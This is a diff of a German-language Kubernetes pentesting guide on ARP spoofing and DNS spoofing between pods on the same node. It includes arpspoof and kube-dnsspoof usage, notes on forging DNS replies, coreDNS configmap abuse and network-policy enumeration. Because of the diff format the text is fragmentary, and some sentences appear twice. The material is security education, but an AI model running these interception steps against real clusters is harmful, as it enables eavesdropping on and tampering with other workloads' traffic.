ARP-Spoofing-Angriffe beinhalten, dass der **Angreifer gefälschte ARP** (Address Resolution Protocol) Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die **MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird**. Nach erfolgreicher Ausführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, ändern oder sogar stoppen. Der Angriff wird auf Layer 2 des OSI-Modells ausgeführt, weshalb die standardmäßige Konnektivität in Kubernetes auf dieser Ebene Sicherheitsbedenken aufwirft.
|
||||
ARP-Spoofing-Angriffe beinhalten, dass der **Angreifer gefälschte ARP** (Address Resolution Protocol) Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die **MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird**. Nach erfolgreicher Durchführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, ändern oder sogar stoppen. Der Angriff wird auf Schicht 2 des OSI-Modells ausgeführt, weshalb die standardmäßige Konnektivität in Kubernetes auf dieser Schicht Sicherheitsbedenken aufwirft.
|
||||
|
||||
In dem Szenario werden 4 Maschinen erstellt:
|
||||
|
||||
@@ -96,7 +96,7 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Grundlegende Kubernetes-Netzwerk
|
||||
## Grundlegendes Kubernetes-Netzwerk
|
||||
|
||||
Wenn Sie mehr Details zu den hier eingeführten Netzwerkthemen wünschen, gehen Sie zu den Referenzen.
|
||||
|
||||
@@ -107,7 +107,7 @@ Allgemein gesagt, ist **Pod-zu-Pod-Netzwerk innerhalb des Knotens** über eine *
|
||||
Diese Tatsache impliziert, dass standardmäßig **jeder Pod, der im selben Knoten läuft**, in der Lage sein wird, mit jedem anderen Pod im selben Knoten (unabhängig vom Namespace) auf Ethernet-Ebene (Schicht 2) zu **kommunizieren**.
|
||||
|
||||
> [!WARNING]
|
||||
> Daher ist es möglich, A**RP Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.**
|
||||
> Daher ist es möglich, A**RP-Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.**
|
||||
|
||||
### DNS
|
||||
|
||||
@@ -143,20 +143,20 @@ Wenn Sie die DNS-Adresse innerhalb eines Pods überprüfen, werden Sie etwas wie
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
Der Pod **weiß jedoch nicht**, wie er zu dieser **Adresse** gelangt, da der **Pod-Bereich** in diesem Fall 172.17.0.10/26 ist.
|
||||
Allerdings weiß der Pod **nicht**, wie er zu dieser **Adresse** gelangt, da der **Pod-Bereich** in diesem Fall 172.17.0.10/26 ist.
|
||||
|
||||
Daher wird der Pod die **DNS-Anfragen an die Adresse 10.96.0.10** senden, die von cbr0 **in** **172.17.0.2** **übersetzt** wird.
|
||||
|
||||
> [!WARNING]
|
||||
> Das bedeutet, dass eine **DNS-Anfrage** eines Pods **immer** zur **Brücke** gehen wird, um die **Service-IP in die Endpunkt-IP zu übersetzen**, selbst wenn der DNS-Server im selben Subnetz wie der Pod ist.
|
||||
>
|
||||
> In Anbetracht dessen und der Tatsache, dass **ARP-Angriffe möglich sind**, wird ein **Pod** in einem Knoten in der Lage sein, den **Verkehr** zwischen **jedem Pod** im **Subnetz** und der **Brücke** zu **überwachen** und die **DNS-Antworten** vom DNS-Server (**DNS Spoofing**) zu **modifizieren**.
|
||||
> In Anbetracht dessen und der Tatsache, dass **ARP-Angriffe möglich sind**, wird ein **Pod** in einem Knoten in der Lage sein, den **Verkehr** zwischen **jedem Pod** im **Subnetz** und der **Brücke** abzufangen und die **DNS-Antworten** vom DNS-Server (**DNS Spoofing**) zu **modifizieren**.
|
||||
>
|
||||
> Darüber hinaus kann der Angreifer, wenn der **DNS-Server** im **gleichen Knoten wie der Angreifer** ist, **alle DNS-Anfragen** eines Pods im Cluster (zwischen dem DNS-Server und der Brücke) **abfangen** und die Antworten **modifizieren**.
|
||||
> Darüber hinaus kann der Angreifer, wenn der **DNS-Server** im **gleichen Knoten wie der Angreifer** ist, **alle DNS-Anfragen** eines Pods im Cluster (zwischen dem DNS-Server und der Brücke) abfangen und die Antworten modifizieren.
|
||||
|
||||
## ARP Spoofing in Pods im gleichen Knoten
|
||||
## ARP Spoofing in Pods im selben Knoten
|
||||
|
||||
Unser Ziel ist es, die Kommunikation von der ubuntu-victim zu dem mysql **zu stehlen**.
|
||||
Unser Ziel ist es, die Kommunikation von **ubuntu-victim zu mysql** **mindestens zu stehlen**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -233,11 +233,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
Wie bereits erwähnt, wenn Sie **einen Pod im selben Knoten des DNS-Server-Pods kompromittieren**, können Sie **MitM** mit **ARPSpoofing** die **Bridge und den DNS**-Pod **manipulieren** und **alle DNS-Antworten** **ändern**.
|
||||
Wie bereits erwähnt, wenn Sie **einen Pod im selben Knoten des DNS-Server-Pods kompromittieren**, können Sie **MitM** mit **ARPSpoofing** den **Bridge- und den DNS-Pod** **überlisten** und **alle DNS-Antworten** **modifizieren**.
|
||||
|
||||
Sie haben ein wirklich schönes **Tool** und **Tutorial**, um dies zu testen in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
In unserem Szenario, **laden** Sie das **Tool** im Angreifer-Pod herunter und erstellen Sie eine \*\*Datei mit dem Namen `hosts` \*\* mit den **Domains**, die Sie **spoofen** möchten, wie:
|
||||
In unserem Szenario, **laden** Sie das **Tool** im Angreifer-Pod herunter und erstellen Sie eine **Datei mit dem Namen `hosts`** mit den **Domains**, die Sie **spoofen** möchten, wie:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
@@ -261,14 +261,46 @@ google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wenn Sie versuchen, Ihr eigenes DNS-Spoofing-Skript zu erstellen, wird es **nicht funktionieren**, wenn Sie **nur die DNS-Antwort ändern**, da die **Antwort** eine **src IP** die IP-Adresse des **bösartigen** **Pods** haben wird und **nicht** **akzeptiert** wird.\
|
||||
> Sie müssen ein **neues DNS-Paket** mit der **src IP** des **DNS** generieren, an den der Opfer die DNS-Anfrage sendet (was etwa 172.16.0.2 ist, nicht 10.96.0.10, das ist die K8s DNS-Service-IP und nicht die IP des DNS-Servers, mehr dazu in der Einleitung).
|
||||
> Sie müssen ein **neues DNS-Paket** mit der **src IP** des **DNS** generieren, an den der Opfer die DNS-Anfrage sendet (was etwa 172.16.0.2 ist, nicht 10.96.0.10, das ist die K8s DNS-Service-IP und nicht die DNS-Server-IP, mehr dazu in der Einleitung).
|
||||
|
||||
## Capturing Traffic
|
||||
## DNS Spoofing über coreDNS configmap
|
||||
|
||||
Das Tool [**Mizu**](https://github.com/up9inc/mizu) ist ein einfaches, aber leistungsstarkes API **Traffic Viewer für Kubernetes**, das es Ihnen ermöglicht, **alle API-Kommunikationen** zwischen Mikrodiensten zu **sehen**, um Ihnen beim Debuggen und Beheben von Regressionen zu helfen.\
|
||||
Es wird Agenten in den ausgewählten Pods installieren und deren Verkehrsinfos sammeln und Ihnen in einem Webserver anzeigen. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr stealthy).
|
||||
Ein Benutzer mit Schreibberechtigungen für die configmap `coredns` im kube-system-Namespace kann die DNS-Antworten des Clusters ändern.
|
||||
|
||||
## References
|
||||
Weitere Informationen zu diesem Angriff finden Sie in:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## Missbrauch exponierter Kubernetes-Managementdienste
|
||||
|
||||
Dienste wie Apache NiFi, Kubeflow, Argo Workflows, Weave Scope und das Kubernetes-Dashboard sind oft entweder dem Internet oder innerhalb des Kubernetes-Netzwerks ausgesetzt. Ein Angreifer, der es schafft, **eine Plattform zu finden, die zur Verwaltung von Kubernetes verwendet wird, und darauf zuzugreifen**, kann diese ausnutzen, um Zugriff auf die Kubernetes-API zu erhalten und Aktionen wie das Erstellen neuer Pods, das Ändern vorhandener oder sogar das Löschen durchzuführen.
|
||||
|
||||
## Auflisten von Kubernetes-Netzwerkrichtlinien
|
||||
|
||||
Konfigurierte **networkpolicies** abrufen:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
Erhalten Sie **Callico** Netzwerkrichtlinien:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
Erhalten Sie **Cillium** Netzwerkrichtlinien:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
Holen Sie sich andere policy-bezogene CRDs, die von Ihrem Netzwerk-Plugin oder Ihrer Sicherheitslösung installiert wurden:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## Verkehr erfassen
|
||||
|
||||
Das Tool [**Mizu**](https://github.com/up9inc/mizu) ist ein einfaches, aber leistungsstarkes API **Verkehrsviewer für Kubernetes**, das es Ihnen ermöglicht, **alle API-Kommunikationen** zwischen Mikrodiensten zu sehen, um Ihnen beim Debuggen und Troubleshooting von Regressionen zu helfen.\
|
||||
Es wird Agenten in den ausgewählten Pods installieren und deren Verkehrsinformationen sammeln und Ihnen in einem Webserver anzeigen. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr stealthy).
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
Reference in New Issue
Block a user